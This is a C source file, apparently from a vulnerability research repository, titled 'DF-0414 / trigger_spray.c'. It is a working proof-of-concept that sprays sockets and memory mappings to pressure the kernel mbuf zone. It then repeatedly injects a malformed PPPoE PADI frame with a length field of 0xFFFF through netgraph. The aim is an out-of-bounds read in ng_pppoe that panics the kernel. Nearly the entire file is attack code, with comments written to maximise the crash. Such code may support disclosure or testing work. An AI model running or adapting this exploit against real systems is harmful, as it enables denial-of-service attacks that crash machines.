DF-0414 / trigger_spray.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 | /* * DF-0414 trigger with heap pressure. * * Same as trigger.c, but first exhausts mbuf allocations to push the * trigger frame's mbuf toward the end of the mbuf zone. This maximizes * the chance the OOB walk crosses into unmapped memory and panics. * * Build: * cc -o trigger_spray trigger_spray.c -lnetgraph */ #include <sys/types.h> #include <sys/socket.h> #include <sys/mman.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <netgraph.h> #include <netgraph/ng_message.h> #include <arpa/inet.h> #define ETHERTYPE_PPPOE_DISC 0x8863 #define PADI_CODE 0x09 #define MANY 20000 int main(void) { int cs = -1, ds = -1; int rc; NgSetErrLog((void(*)(const char*, ...))printf, (void(*)(const char*, ...))printf); rc = NgMkSockNode(NULL, &cs, &ds); if (rc < 0) { fprintf(stderr, "NgMkSockNode: %s\n", strerror(errno)); return 2; } /* Spray mbufs by opening many sockets & allocating via mmap. * Each socket allocates mbufs internally; we keep them alive to * consume the zone. */ fprintf(stderr, "[*] spraying %d sockets to pressurize mbuf zone...\n", MANY); int *socks = calloc(MANY, sizeof(int)); int opened = 0; for (int i = 0; i < MANY; i++) { socks[i] = socket(AF_INET, SOCK_STREAM, 0); if (socks[i] < 0) break; opened++; } fprintf(stderr, "[+] opened %d sockets\n", opened); /* Now also try to consume mbuf clusters via large mmaps */ void *mappings[64]; int nm = 0; for (int i = 0; i < 64; i++) { mappings[i] = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0); if (mappings[i] == MAP_FAILED) break; memset(mappings[i], 0x41, 4096); nm++; } fprintf(stderr, "[+] mapped %d anon pages as sentinel 0x41 fill\n", nm); /* Build topology */ struct ngm_mkpeer mp; memset(&mp, 0, sizeof(mp)); strlcpy(mp.type, "pppoe", sizeof(mp.type)); strlcpy(mp.ourhook, "mydata", sizeof(mp.ourhook)); strlcpy(mp.peerhook, "ethernet", sizeof(mp.peerhook)); rc = NgSendMsg(cs, ".", NGM_GENERIC_COOKIE, NGM_MKPEER, &mp, sizeof(mp)); if (rc < 0) { fprintf(stderr, "MKPEER: %s\n", strerror(errno)); return 3; } fprintf(stderr, "[+] ng_pppoe peer created\n"); /* Build malicious frame: ph->length=0xFFFF, single small tag (no SRV_NAME match) * so get_tag walks far into heap. */ unsigned char frame[24]; memset(frame, 0, sizeof(frame)); memset(frame + 0, 0xff, 6); /* dst = bc */ frame[6]=0x00; frame[7]=0x11; frame[8]=0x22; frame[9]=0x33; frame[10]=0x44; frame[11]=0x55; frame[12] = 0x88; frame[13] = 0x63; frame[14] = 0x11; frame[15] = PADI_CODE; frame[18] = 0xff; frame[19] = 0xff; /* ph->length = 0xFFFF */ /* tag[0]: type=0x0001, tag_len=0 */ frame[20] = 0x00; frame[21] = 0x01; frame[22] = 0x00; frame[23] = 0x00; fprintf(stderr, "[+] injecting malicious PADI (ph->length=0xFFFF, 24-byte mbuf)\n"); /* Trigger many times to maximize panic chance */ for (int i = 0; i < 50; i++) { rc = NgSendData(ds, "mydata", frame, sizeof(frame)); if (rc < 0) { /* ENETUNREACH is "expected" — get_tag returned NULL after OOB walk. * If we get a different error or the call hangs, something changed. */ if (errno != ENETUNREACH) { fprintf(stderr, "[!] iter %d NgSendData: %s\n", i, strerror(errno)); } } else { fprintf(stderr, "[!] iter %d NgSendData succeeded unexpectedly\n", i); } } fprintf(stderr, "[+] done. If kernel still up, OOB walk stayed in mapped memory.\n"); for (int i = 0; i < opened; i++) close(socks[i]); free(socks); for (int i = 0; i < nm; i++) munmap(mappings[i], 4096); return 0; } |